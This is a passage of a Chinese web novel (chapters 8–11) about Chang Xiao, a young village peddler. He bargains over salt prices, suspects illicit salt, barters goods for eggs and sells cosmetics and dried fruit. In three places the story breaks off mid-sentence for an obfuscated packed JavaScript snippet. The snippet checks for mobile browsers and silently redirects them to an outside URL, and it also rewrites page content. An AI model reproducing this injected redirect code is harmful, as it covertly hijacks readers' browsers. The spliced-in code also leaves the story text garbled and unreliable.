“啥都有，姐姐尽管瞧。” “哎呦呵！还姐姐嘞，我的岁数都能当你娘了！” 妇人教他说得面色通红，眼睛笑成一条缝。 即使心知这些卖货的靠嘴甜揽客，可好话谁不爱听。 和年轻的小郎打交道，总比先前的老头子来得舒心！ 常霄当场摘下货担，任她挑选。 不多时，又有人听见声音，陆续往外走。 基本都是刘大打豆浆和买豆腐的，村户人不舍得吃肉，不舍得吃蛋，除了地里种的各样瓜菜，买点价廉的豆制品便算是换口味了。 来都来了，哪怕不缺东西，单凭着好奇，也都会顺便来常霄的货担前看一眼。 “还真是个卖货的小郎嘞！你是哪个村的？可识得之前那个王老货郎？” “正好家里盐没了，你这里可有，卖几个钱？” “瞧着岁数小，成亲了没呐？” 常霄挨个应付过去后，在人堆里站起来，清清嗓子道：“诸位乡亲，在下常霄，寨子村人，打今日起，便在这村间做货郎营生了，一应所售，保管都是价廉物美，绝不缺斤短两，单挣个来回跑腿的辛苦钱，若是有想要的，我这处暂且没有，也可详细告知，待进了货，下回捎带来！” 8. 私盐 刘大都在村子里卖了十几年豆腐了，今日才发现男子生的俊多么沾光。 初进村时那堆人散了后，他随着常霄一路往村里走，一路都不缺看热闹的。 还有胆子大的姑娘和小哥儿，估计是不好意思出门，却也扒着门缝，脑袋摞着脑袋偷看。 不小心和他们的眼神撞上时，又红着脸躲回去，嬉笑声隔着门墙都听得见。 他忍不住用胳膊杵一下常霄，打趣道：“亏得你已经成亲了，不然这么走一圈，怕是要被活吃咯。” 说话间又有好几个人，簇拥着个打扮喜气的老大娘挤到跟前，问常霄有没有说亲，自称是十里八乡有名的私媒。 “当真已经成亲了。” 他不得不拉刘大到跟前，“您只管问我这同村大哥，是不是真。” 刘大笑嘻嘻给他作证，“大娘，他没说假话，人家是有夫郎，还是城里哥儿嘞。” 常霄无奈，作讨饶状，“望诸位放过小的，我家那位要是知道了可不得揪我耳朵，不许我上床！” 刘大忍着笑，没故意拆台。 他听自家娘子提过，常家小郎领回来的夫郎是个好性儿的，本还以为是安静寡言，后来才知小时候生大病，烧坏了嗓子，和顺地笑起来时，让人都不好意思跟他大声说话。 那般的人物，被常霄说得好生彪悍。 好在打趣过后，除了闲话之外，还是有人正儿八经买东西的。 既如此，就少不得在价钱上扯个没完没了。 常霄压根不认识前头那个老货郎，结果这些人张口就是拿他卖的价和之前的比，动不动就说他卖贵了。 “你这一斤盐竟要四十文？之前王老货郎只卖三十五文，我倒不如自己去草市买了。” 要不是常霄特意跟铺子伙计打听过当地食盐行情，就要被他诓住了。 “咱河东府本就产颗盐，太平年景里，盐价几年不曾大变动了，谁来都让不出一斤五文的利。” 他卖一斤才赚五文，降五文岂不白忙活了。 他看一眼飞舞着唾沫星子和自己讲价的夫郎，也不恼，反倒微诧道：“前头那老货郎，莫不是卖的私盐吧！” 此话一出，周围好几个人都不吭气了。 常霄暗中扫一眼，怀疑自己猜对了。 经营多年的货郎，能找到买卖私盐的门路半点不稀奇，今天他从有官办盐引的油酱铺出来，就见附近蹲守着形容鬼祟的人，之前一个买了盐的刚出门，他就跟上去朝人说了什么，随后引到屋后去了。 不过没来朝他兜售，估计是觉他面生。 本来因为官盐价高，私盐就屡禁不止，要说品质，其实并不比官盐差，有时候还要更好一点。 可一旦被抓就不是小事，最低也要罚一笔钱。 就像常霄所说，盐价多年不曾波动，普通百姓乍一遇到便宜好几文的盐，怎会不清楚那是私盐，这才导致官府制定了买卖皆有罪的律条，实际上却管理稀松，大多数时候睁只眼闭只眼，导致很多人习惯了钻空子。 常霄却只想做良民，完全不想在这件事上铤而走险。 原本拿起杆秤的手又放下了，这才是他走的第一个村子，盐是家家缺不了的，不怕卖不出去，故而道：“夫郎可还买？若觉得我这价真是贵了，去草市上打听打听也不是不成。” 话是这样说，实际去趟马桥来回在路上就要花两个时辰，要还想坐车省力，掏的车钱都比盐的差价贵了。 那夫郎估计也是想明白了，动动嘴唇，终究是道：“罢了，哪有那闲工夫，你只管给我称上二两吧。” 真到了草市上的铺子里，最少也要买一斤的，可不许一两二两的称，那边不少是城中铺子进货，或是田庄管事采买，都是一口袋一口袋买盐的，春蚕芝麻大点的生意，谁乐意理你？ 唯有村里货郎单跑乡下村子，好说话而已。 “成嘞。” 常霄在杆秤的碟子上垫个油纸盒，称出二两盐，倒进夫郎拿来的盐罐里。 夫郎见秤杆尾巴上翘，满意地低头拿钱。 后面几步远的地方有人始终不买东西，只跟过来看人和热闹，这会儿悄声议论，“我发现这年轻后生有一点好，你与他讲价，他纵是不乐意，也不挂脸，哪像先前那个老王头儿，动不动就甩脸子，无非就是拿捏着咱们不找他买，也没别处去！” “可不是嘞，我还疑心他往盐里掺沙子，好几回都吃着了，去找他，他说盐铺里的盐都是这样，让我想吃没沙子的好盐，就去掏钱买上等雪花盐！这个老不死的！我呸！” 后面的嗡嗡细语半点没传入常霄的耳朵，他言笑晏晏，眨眼工夫做成数笔生意，卖出几两食盐、几两灯油、一壶醋、一斤茶沫、针线若干、炊帚一把、火石一副。 “下回见着弟夫郎，我可要跟他告状的，说你在外面讲他是河东狮。” 沾了常霄的光，刘大在红石村卖出的豆腐，比原先多了两三成。 离了红石村，回想起常霄在村里的遭遇，不由笑出声。 常霄一听，忍不住扶额。 “哥哥你也饶了我吧。” 他出来之前真没想到是这个阵仗。 怎么古往今来的已婚人士，都那么热衷保媒拉纤，更别提里面还混进个真媒婆。 “也就是他们不晓得我的家世，要是知道，跑都来不及。” 常霄并不避讳说这些，顺势把原主记忆里，曾在莘县县城发生的那些事简单讲了一遍。 见刘大的神情变来变去，能猜出村里八成流传着另一套添油加醋的说法。 这正是他讲这些的目的，刘大是祖祖辈辈在寨子村土生土长的，正确的说法会经由他们家人的口传出去。 果然话音落下，刘大当即道：“原来是这么回事，哪有亲爹这么坑儿子，即便他是长辈，这话我也要说的！不然你们小两口好好在县城过着日子，哪至于回到村里来，连个住的地方都没有！” “事已至此，也只能想办法过日子了，多亏里正关照，给了我们暂时落脚的住处。” 常霄把姿态放得低，目前来看，寨子村的风气总体还算淳朴，但难保没有例外。 常家迁走太久， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17233919|197648||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他如今又回来，已经算半个外来户了，住的还是村里的公屋，时日长了，说不准会有人借此生事，至少所说所行上要避免授人以柄。 有了常霄的“掏心掏肺”在前，刘大与他边走边聊，关系愈发熟稔。 二里路下来，常霄已经对刘家的家事了如指掌，连带刘大三个孩子的名字都记住了。 下一个村子叫小梨沟，刘大说是附近有个小山头，生了好些野梨树。 “这个时节正是结果子的时候，别看是野树，品种不差，果子都怪甜的，村里人会上山摘了卖，价钱还成，赶上生意好，我就给孩子带两个尝尝。” 踏入村口，梆子声和拨浪鼓声就此起彼伏的响起来。 叫卖声传出，常霄努力摸索着省力的诀窍，并且无限怀念能录音后自动循环播放的电喇叭。 “是你啊，卖豆腐的，我刚刚还以为听见了卖杂货的，果然是岁数大了耳朵不好使，听错了。” 从院里探出半个身子的老夫郎，在看清停在对面，正使勺子盛豆浆的刘大后，有些失望。 刘大把热腾腾的豆浆递过去，收钱的同时道：“没听错，正是我们村的货郎，不过已经走到前面去了。” 老夫郎顺着他的指点往前看，还真看见一个身形修长的年轻小郎，背着个货担，上面琳琅满目，挂了好些东西，几架风车上的彩旗随风转动，十分惹人注目。 “村里总算是有货郎了！麻线用完好些日了，衣裳破了都没法补。” 他自言自语着，紧赶慢赶回家拿钱。 远处，常霄正在卖饴糖。 方才路过这户人家，他先是听见里面有小孩子的哭声，正当他以为自己的叫卖声肯定被哭声盖住，准备继续往前走一段，就停下等刘大时，院门一下开了，出来个年轻汉子，问他是不是货郎，卖不卖糖。 常霄说有饴糖，卖两文钱，汉子立刻就掏钱。 屋里孩子还哭得撕心裂肺，估计是要买糖去哄孩子。 他麻利地放下货担，搬出糖罐，用两根木签挑出一团，快速搅动了几下。 蔗浆挂在木签顶端，呈现晶莹剔透的焦糖色。 这样把蔗浆拆开卖，一斤的蔗浆他能做出几十份，赚得更多。 想到小时候学校门口摆摊的老奶奶，也总有一个不那么干净的搪瓷缸子，里面装满浓稠的糖稀，那时候谁要是能拿出几毛钱买一份慢慢吃，会收获许多同学的艳羡。 估计是他给的份量够足，汉子一手接糖一手给钱，很快风风火火地回到屋里，刚进去没多久哭声就止住了。 常霄也跟着松口气，心想养孩子真不容易。 他收拾着货担重新背上，刚完成这个有点费劲的动作，买糖的汉子又出来了，擦了把额头上的汗道：“孩子生着病，一吃药简直是鬼哭狼嚎，天王老子来了都不顶用，多亏赶上你来，不过一根糖吃不到明天，天热了，化得快。” 苦药汤子还要喂三天，一天两顿就是六顿，想想头都要裂开。 “你这处有没有便宜玩具，我再买一个，以前有个风车，早被他扯坏了。” 9. 易物 玩具都挂在醒目的地方，常霄侧了侧身，示意他自己看。 “我这里的东西都算不得多贵，便宜的就是泥哨子，五文钱，也有风车，八文一个，泥捏的不倒翁，小号的也是八文，要不买个虫儿笼，草编的，里面有草编的蜻蜓，扯一下会动的，在草市集上也是新鲜玩意儿。” 鸡毛毽子、布缝的沙包也都便宜，不过孩子病着呢，又玩不了，他便没说。 汉子细看这些东西，泥哨子是彩陶的，风车上粘了彩纸做的小旗，最精巧的是那个虫儿笼，以前确实没在老货郎那里见到过。 他忍不住伸手摘下，搞明白蜻蜓翅膀要怎么动起来之后，不由问道：“虫儿笼几个钱？” “十二文。” 常霄当初见到的时候就觉得很是惊奇，拿在手里端详半天。 若非是普通草编的，肯定不止这个价钱了，即使如此，估计放在县城，一个卖二十几文也有人抢着要。 “这么贵？” 一听要十文往上了，汉子咋舌。 孩子的玩具总是玩两下就坏了、丢了，几文钱的就罢了，再贵些，家里哪有那么多闲钱花在这上头。 “便宜些成不成？” 常霄作为难状，“实在是进价就不便宜。” “十文钱，你要是卖，我就拿一个。” 汉子拿出老套的讲价套路。 “瞧你是刚做起货郎？这价钱的玩具，兴许十天半月都卖不出去一个，要不是我家这种赶着哄孩子的，哪个舍得。” 常霄摇头，“卖不了，十文钱的话我就分文不赚了，要不您还是买个风车，转起来也漂亮得很。” 汉子还是心许虫儿笼，他家闺女肯定喜欢，从前没见过，能稀罕好一阵。 “真就一文钱都不能让？” 常霄似在犹豫，随后看了一眼院子的方向道：“我也是成了亲的人，指不定过两年就有孩子，看您慈心一片……” 他艰难竖起一根手指，“真的只能让一文，我们货郎赚的就是这点辛苦钱，大热天的，从马桥进货一趟属实不容易。” “成吧！” 汉子跺跺脚，决定花了这个钱，回头嘱咐孩子小心点摆弄，争取玩回本。 常霄把十一文钱放进腰间钱袋，满意地拍了拍。 虫儿笼进价八文，净赚三文。 他一共拿了两个，要真是看上的人多，下回就多进几个，也好再压一压价。 小梨沟的规模和红石村差不多，半大不大的村落，二三十户人家，河水蜿蜒流过，田地一块块地围合在四周。 久无货郎进村，很多在地里干活的人也扛着农具跨过田垄，喊他停下挑选，再领着他回家拿钱。 不过很快常霄就遇到了问题。 一个挽着裤腿，脚上粘泥的老汉买了一碗豆酱，按理是五文钱，结果他进屋半天也没出来。 就在常霄怀疑他是不是想赖账的时候，对方提了三个挺大的紫茄子出来。 “后生，方才那个酱，能不能用菜跟你换？” 怕常霄不答应，他着急道：“先前的货郎都行嘞。” 常霄这一路着实没少听到有关先前那个老货郎的说辞，但以物易物的确不那么稀奇就是了，刘大的豆腐还能用豆子换呢。 在草市上，他也见过用粮食换东西的人。 对于村户人而言，他们获取铜钱的渠道基本只有卖粮，另有少数人有手艺，可以去草市兜售，用各种手工制品换取铜钱。 至于白银，很少在民间流转。 这年头就算是城里，有些地方发工钱还是给粮食的，粮食或者盐，基本都是价钱稳定的硬通货，也是家家必不可少的。 说实话，要是贵一点的东西，拿粮食换，常霄绝对欣然同意，这回只有五文，换三个茄子…… “有鸡蛋吗，可以用蛋换。” 他刚好几日前在寨子村买过蛋，知道行情。 夏天天热，母鸡下蛋不勤，单价也涨了，能到三十几文一斤，一斤大约有十几个。 吃不起肉的时候，吃蛋也不错，不然真是半点营养都没有，长久下去，身体是撑不住的。 村里一般人家都没有秤，多是大小差不多的话，就论个算，说是春秋季一般两文一个，夏天和冬天就要卖到三文甚至更多了。 老汉摇头道：“鸡子贵嘞，俺不换。” 常霄道：“我再给你添一文钱的酱。” 这么算下来肯定是他划算，毕竟他进价比卖价低。 老汉不死心，依旧举起茄子，“茄子不要？” 常霄摇头。 要是想吃茄子，他大可以拿点东西在村里买，买一个吃一顿。 老汉不能不买酱，又掏不出铜板，最后还是答应了用两个蛋换六文钱的酱。 常霄给他添了斤两，又用杆秤称过，上面的准星太小，老汉根本看不清，但还是看了好几遍才肯松手。 常霄把两个蛋小心地放进货担下的抽屉里，那里面填了些干草，免得走路时摇晃，磕碰到盛放胭脂、头油等的瓷壳子，现在蛋放进去，也就不容易碰碎了。 在村里转了一大圈，他才回到村口和刘大汇合，上前一看，一桶豆浆只剩一小半，千张和豆干做的少，卖去五成，一大板豆腐少了三分之一。 刘大变戏法似的从怀里摸出两个鸭梨，分给常霄一个。 “今天托你福，卖得比往日都快，分你一个，回去拿给你夫郎尝尝。” 梨的个头比得上大半个手掌，算下来肯定也要几文钱一个的，常霄不肯要。 刘大不到三十的岁数，靠卖豆腐养一家子，上有老下有小，想想都知多不容易。 “还是拿回去给孩子吃，今天多亏大哥带路，我省了不少事，真算下来，你帮我更多，哪里还能再要你东西。” “一个梨罢了，又不值几个钱。” 刘大直率，不愿和他多拉扯，直接扯开他衣襟，塞到他怀里。 “咱们都称兄道弟了，何须那般客气！” 常霄低头看到自己鼓起一块的前襟，哭笑不得地收下。 也好，看来今天除了银钱，还能带回去两个蛋一个梨，可以和曾如意一起改善下伙食了。 依次走过红石村和小梨沟，赶路加停留叫卖，当他们从第三个叫做“二王村”的村子出来时，已是晌午了。 常霄和刘大干脆没急着继续走，而是在半路找了个树荫坐下，喝着从先前村子讨来的水，吃家里带来的干粮。 以前很少有这种饿到前胸贴后背的时候，嘴里也干得很，觉得嘴皮都要黏在一起，身上的汗更是不知出了几层了。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17233920|197648||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 常霄的伙食是凉水配面饼，刘大的那份也差不多，只是面饼换成了杂面炊饼，里面还夹了点自家腌的咸菜。 垫饱肚子，刘大抹了抹嘴。 “我车子上没啥东西了，走完下个村，要是卖完了，我就往回走，你呢？” 常霄简单算了算账。 走了三个村子，基本每到一处，村里大半的人家都会从家里出来，或是喊他在门口停下。 即使并非人人都买了东西，买的话，多是几文钱到十几文的花销，至多不超过三十文，加在一起，也有四百个钱了。 他进的这些货，油盐酱醋卖得最多，装油和醋的葫芦已经空了，酱罐还剩个底子，盐只余几两。 此外大小铁针卖了十几根，麻线八卷，丝线几束。 各样日用杂货，每一样基本都卖出去至少一件，玩具除了最早的虫儿笼，又卖出几只便宜的泥捏小玩意儿，两只小风车。 寄予厚望的那些胭脂水粉，单卖出去一盒石黛，一盒牙粉，这也不奇怪，常霄本也没指望这些能卖得多快，进一次货，把所有村子走一遍，能卖完就是成功。 腰间钱袋沉甸甸的钱里，他约有三成的利，听起来是不错，但这是因为好些日子遇不见货郎，大家的家里都缺东少西的，趁此机会赶紧补了。 第一轮走罢，下一轮生意就不一定这么好做，只盼着能早些回本吧。 他回过神，答话道：“只要能赶在天黑前回家就成，我应当还能再走两个村。” 今天路线上的村子之间相隔不远，有刘大领路，倒是比他预想中更快。 刘大帮他算算脚程，“顺着这条路继续往北是道口村，道口村之后，下一个村子可就更远了，得走半个多时辰，不过是个挺大的村子，叫大栅村，去一趟不亏，我就算生意再差，走到那里吆喝两声，怎么也卖完了。” 他拍拍常霄肩膀，“你是头一回这么走吧，我劝你悠着点，晚上回去记得烫烫脚，不然明天起来，保准酸疼到你哭爹喊娘。” 他又低头看常霄的鞋，到底是城里人，还穿着一双布鞋。 “你这双鞋，估计走不得多少日也得磨破，最好让弟夫郎给你多做一双备着。” 都是过来人的经验，常霄还比不得人家的体格。 毕竟生在乡间的，刚及大人腰高的时候就能下地了，原主则是真真正正没吃过什么读书以外的苦。 他没好意思说自己的脚估计已经磨破了，脚趾中间肯定已经有水泡。 但只能这么扛着，扛过去的办法就是多走，把容易长水泡的地方磨出茧子来。 常霄一一答应，看起来虚心得很。 刘大感慨，要不是人家落魄了，自己这辈子哪有对着个书生郎指指点点的时候？ 要紧是还不眼高于顶，鼻孔朝天，这样的人要真是走了科举当了官，估计能是个好官。 “走吧，不然吃了一肚子凉东西，坐着全窝在胃里更难受。” 他站起来抻抻胳膊，继续推起木板车。 常霄也背上货担，走起来叮叮当当地响。 一整个上午，货担中唯一半点没卖出的东西是吃食，可能因为近来没有时令年节，串门走动的少。 幸好几样东西都经得住放，他冒出个主意，打算到下一个村子时试试看。 10. 推销 进到道口村，常霄一改常态。 只要看见一些个明显到了会打扮的年纪，开始描眉画眼梳头发的姑娘和小哥儿，他便有意兜售花粉铺子里的各样货。 “您瞧这胭脂，色红而润，抹上后便和天生的好气色一般，只要不洗脸，保管从早到晚一天都不掉！” “头油里添了茉莉花，二位闻闻可香？且还有草药在里头嘞，用了以后头发越梳越亮！” “这牙粉里有薄荷，夏日里用最是清爽，去草市上也得要十二一盒，容小的赚一文辛苦钱还不成么！” 他说的是天花乱坠，庆幸前世做商超生意，一家门店品类上千，无论什么都略有涉猎，加之在现代，无论什么商品，一旦上市广告就铺天盖地，就算不化妆的人，也会耳濡目染学会点宣传话术。 卖不卖得出，总之先试试。 有年轻小娘子拿过那胭脂，对着光细看，半晌道：“还得是年轻些的货郎好嘞，先前让那老货郎寻买胭脂，寻来的那是什么色！抹上跟猴儿屁股似的！” 不像眼前这容貌俊朗的小郎君，打扮得干干净净，生得唇红齿白，讲话也半点不粗俗，不像货郎，倒像书生郎。 识得她的人在旁起哄，“允娘，喜欢就买嘛，用了给你的诚哥哥瞧！” “切，他是什么人，还配让我专门涂胭脂给他瞧？我涂给自己瞧不行么？” 这允娘原是已经定亲了，男方家是同村的青梅竹马，两人打小一起长大，亲事也结的水到渠成。 近来几日正因些小事闹着脾气，故而不爱听旁人提他。 奈何胭脂好看是好看，一小罐却要使出四十文，面前的小娘子纠结好半天，还是不舍得，转而要了一瓶子头油。 她头发天生粗喇喇的，半点不服帖，不用些头油，扎起来就像那马尾巴。 头油的底子是蓖麻油，闻着花香馥郁，却因油和花都不是贵物，价钱合宜，每次滴上些许在掌心搓热，抹在发丝上，或是梳头发的时候沾一沾，这么一瓶能用好一阵子，算是最划算的东西，她向来快用完时就赶紧买了续上。 “这东西我是常用的，你予我个便宜，以后少不得一个月找你买一次。” 常霄为难道：“我这头油卖得好，只剩最后两瓶了，在前头几个村子，一向是二十五个钱，分文不让。” “做生意哪有不能讲价的，你做长久生意，就该知道什么样的客是回头客。” 允娘伶俐道：“我在村里有好些关系近的姑娘哥儿，从你这得了好价，我便跟他们讲，让他们有需要时也关照你的生意。” 常霄左看右看，说道：“单拿一瓶，属实让不了，小娘子常使头油，该知道在马桥的花粉铺里一瓶卖几个钱，不过……若是二位小娘子一人拿一瓶去，价钱倒是能聊。” 头油不好卖，要是有法子一下子卖出去两瓶，哪怕少赚两三个铜子也合算。 允娘眼前一亮，“能多便宜，你且说个价来。” “两瓶四十五文。” 常霄比出两根手指，“再不能少了。” 允娘拉过一旁的蕴姐儿，避开常霄小声嘀咕，“如何，你要不要？往常咱们去草市那家花粉铺买，不单一瓶要贵个两文，现下还省了走过去的脚程。” 蕴姐儿被她说得心动，不过手里掏不出这么些铜板，遂又回家去找了自己的姐姐来，说是买一瓶姐妹两个合用，如此她姐姐肯掏一半的钱。 “喏，四十五文，你数好了，一个不少。” 等了好半晌，总算是拿到了一把钱，常霄将其快速并成一叠，五个五个快速数过，眨眼的工夫就结束，抬眼笑道：“确是不差。” 随即把钱往钱袋里一丢，取了头油递出。 只是到这里，这桩生意还不算完。 要知道这些肯在头面上花闲钱的姐儿，定有体己可自行支用，家境不会差。 他热络地打开放果子干的抽屉，将油纸包挨个揭开，打眼看去一样一色，颇像那么回事。 “谢小娘子们关照小的生意，恰好有几样上好果子干，请娘子们吃尝。” 哪个年轻姐儿不爱吃两口零嘴的，闻言俱都惊喜道：“能白尝，不要钱么？” “几位放心，分文不取。” 常霄取出一根同样用纸包着的木筷，干干净净的，用于夹取果子干，邀她们自选。 当下一人择了梨子干，一人择了桃子条，一人择了杏子干。 虽是给的不多，捡不算大的，一样两个，也就尝个味道，可白给的谁不喜欢。 乡下村户少有吃到这些东西的机会，即便是舍得买的，买一趟也费劲得很。 她们吃着好，再看油纸包时的神情都不一样了。 蕴姐儿年岁小，是嘴馋的，抢先问道：“这果子干怎么卖的？” “一斤三十文，三文一两。” “一两也卖？” 这位圆脸的小姑娘笑着问：“你也不嫌麻烦。” 常霄亦笑道：“作何不卖，一样一两，不还都能尝尝？要是欲买去送礼待客 ，想要整斤的，只消跟我说一句，下回我进货时捎带上，还能给讨个红纸包嘞。” 态度实在是挑不出错的好。 再者，果子干三十文一斤，听着怪是贵，但三文一两，一下子就舍得掏。 当下不单这三个小娘子各要一两，又有个路过的汉子停下来，说是夫郎有孕害喜，正想吃点生津的酸果儿。 常霄让他将杏子干与咸酸梅子各尝一口，酸得他眉毛眼睛挤在一起，口水滋滋冒，当即利落地掏钱买下。 顺道引来个胖乎乎的小子，见有卖零嘴的货郎，当即坐地上不肯走了，非闹着要饴糖和果子吃，看那模样就知道家里不差钱的。 只有吃得起油水的人家才能养出胖小子，大多乡里孩子都瘦得和麻杆儿一样，夏天里，小子不穿衣裳满地跑，能看见根根肋条骨，脖子上顶着个大脑袋。 田里粮食就那么多，孩子生少了挨欺负，生多了养不起，只能和喂鸡一样，撒把米指着各自活。 常霄疑心又能成一单生意了，不过没上赶着去推销。 熊孩子哭闹，再遇上个暴脾气的家长，说不准连你也迁怒。 正巧刚才为了取胭脂、头油和果子干，把两只抽屉翻了个遍，人来人往的，把那四下里插挂的玩具也弄乱了。 常霄不得不重新整理一遍，微风吹得轻飘飘的虫儿笼左右晃，里面的草蜻蜓翩翩欲飞。 然后被那胖小子看了个正着，勾得他目不转睛，当即一骨碌从地上爬起来。 “阿奶，我要那个！” “要什么要！你知道那个多少钱就要！” “我就要！我就要！爹娘走的时候留钱了，我都看见了！” “啪”地一声，一巴掌糊到胖小子屁股上。 “你爹就晓得跟你娘胡闹，成日里花钱大手大脚，把你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17233921|197648||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也养得什么都要！现下他们去城里，不要你了，留的钱那是你的饭钱，可没有买糖买玩物的！” 胖小子估计以前没挨过这么结实的揍，一下子被打懵了，继而“哇”地大哭起来。 “爹娘不会不要我！他们说过几天就来接我的！” 常霄：“……” 真是没见过这么哄孩子的。 瞧着估计是孩子从前不在村里住，因事才不得不送回老家，让老一辈看顾，既留了钱，肯定是想让俭省惯的老人别亏待孩子，哪成想来这一出。 孩子是任性不假，这么教也教不回正道。 本还有信心成桩生意，现在只觉得被哭声吵得脑仁疼。 他直接背上货担离开，那只虫儿笼终究还是卖给了村里另一户人家，刚收了钱，刘大正好从小道拐出来，两人再次遇上。 常霄看一眼板车上，发现只剩下三块豆腐。 “余下这点，我也犯不着继续跑了，姑且带回村里看看有没有要的，没有我就自家吃了。” 每日豆腐做好，都会专门留一些搁在村里卖给村人，因此这些带回去不一定有人要。 磨豆腐的天天吃豆腐，就算吃腻了也还得捏鼻子继续吃，不然怎么办。 常霄没有犹豫，从手里的铜板中分出五文给刘大，“先前我就想着，要是最后还有的剩，我就要一方，麻烦大哥帮我送到家去。” 刘大有些赧然，“你这……我和你说这，真不是为了让你照顾我生意呐！” 常霄笑道：“怎是如此，我和如意自打来了村中，还不曾吃过豆腐，早两日还念叨，今日闻着豆香，馋了一路了。” 刘大最终收了钱，“我给你切一方大的，回村就让你嫂子给曾哥儿送去。” 与刘大作别后，常霄又在道口村转了转，摇着他的小拨浪鼓叫卖。 道口村的比前几个村子都要大，常霄有意多留一会儿，尤其格外卖力地吆喝的花儿啊粉儿啊的，也不负所望，走前又卖出去一盒。 不过这回买妆粉的哥儿不比前面的小姑娘好说话，看着心气挺高，挑挑拣拣的，说什么从前在县城大门户里当值，都是用好铅粉的，现下到了村间，果然泥腿子货郎手里只有不值钱的米粉。 常霄咋舌，心说亏的是买不到了，那铅粉又是什么好东西不成，用久了要中毒的，还不如用混了点白茯苓的米粉算了，就算不好用，起码不害人。 说起来这东西加点水，和成的米糊糊应当还能吃，多安全！ 妆粉他进价十八文一盒，卖二十五文，卖出去后同样予人果干子尝，顺利卖出桃条和干枣子各一两。 收好杆秤，他独留了一枚偏新的铜钱在手里把玩，见一路走到村口，再没人喊货郎停下，便摘掉了货担在村路旁歇脚，顺便理一理里面还剩下哪些货。 油盐酱醋全都卖空了，徒留几个空葫芦。 这些东西一向是乡下最缺的，即便有些人家会自制酱或自酿醋，到底不是家家都会，而且这东西封坛之后还要等好一阵子才能吃。 针和麻线也去了一半，丝线一共卖了八束，还余十几束。 五斤茶沫子居然也全都卖完了，最少也是买半斤的，散茶也有一家称了二两。 同样是前者薄利，一斤也就赚一文，散茶拆卖，利更厚些。 再来是杂货、吃食、玩具…… 他当即决定不去大栅村了，转道去草市，再补一批货。 11. 批发 最便宜的缝衣针、麻线、油盐酱醋、灯油…… 现在看来还要加上廉价的茶沫子，这几样称得上卖得快挣得少，却不能没有的。 清早出门时为了多走几个村子，他赶在天蒙蒙亮时出门，来不及在寨子村叫卖，以后多半也是如此。 而从今天开始，有刘大在先，加上自己差不多会在傍晚时分踩着饭点回村，到时保准全村都会知晓他开始做货郎了。 本想着转一圈回去肯定还有剩的，这下连几味调料都没有了，不补上的话，只怕村里有人要因此嚼舌头，说他心思不向着本村乡亲。 不就是来回两小时的路，趁夏日天长，天黑得晚，走就走了。 今天不去，明天也要去的。 申时过半，常霄总算走到了马桥。 他气喘吁吁，活动着酸痛的腿脚，邻近的树下有好多人正坐着或躺着纳凉歇息，常霄没敢效仿，他体力不足，生怕一旦坐下就起不来了。 于是只倚着树休息了片刻，期间低头看向裹满尘土的布鞋，刘大说得没错，布鞋根本不经穿，周遭来往得一双双脚多是穿草鞋的。 鞋子里的脚也已是疼得麻木，磨出的水泡兴许已经破了。 打开葫芦喝几口水，他背起货担离开树下，寻到上次来进货时路过的小医馆，花几文钱买走一小包收敛生肌的药粉。 出门后他四处打量，等到成功瞥见那个卖葫芦的小子时，他背着货担追上，找到后又买了四个顶大的葫芦。 接着直奔能沽油打醋的油酱铺，让人家把葫芦打满，胡麻油、米醋各四斤，次等的粗粒颗盐两斤，豆酱两斤。 豆酱就是此时的酱油，爱吃这个口味的人做菜时一定要放。 燃灯的桐油也又打了两斤，这些个葫芦暂都塞好口，挤挤挨挨地竖着放进货担里。 到家后，少不得麻烦曾如意再用麻绳给他编几个网兜，到时候全都挂在身上，就能把货担空出来放别的。 全都加起来，今天到手的五百多个钱，一下子出去了近三百个。 做这行当就是如此，总有一笔钱要压在货上。 虫儿笼和风车好卖，可惜只各进了两个，他循着记忆找到昨日卖家摆摊的位置，不见人，幸而发现相邻的没变，仍是那个卖蒲草扇的，遂跟人打听擅草编和纸糊玩物的汉子今日可来了。 “你说程三儿啊，他不是每天都来的，一半隔上六七日才来一回，那些东西做着费劲。而且他家就他一个青壮，上头一个病老娘，膝下两个孩儿，平素要顾着田地，物件都是抽空做的，凑够了才来嘞。” 六七日太久，常霄可等不了，便问对方知不知道程三是哪个村的。 “白树村，晓得不？他就是那处的。” 常霄觉得耳熟，想到昨天那个赶牛车的就是白树村的，离寨子村不算远，只是不在今天走的这条路上。 附近十几个村子，被他分成三条路，今日走的是最近的一条。 “多谢。” 卖蒲扇的也记得他，问他蒲扇是否好卖，常霄笑答卖出去一把，暂不进货了。 再有一个月天就要凉了，他猜做扇子的到时也会改做别的。 常霄并不认识去白树村的路，但路上不少行人，问上两句便顺利找到了。 一进村就开始打听程三其人，同样有人给他指路，见他背着货担，问他可是卖杂货的。 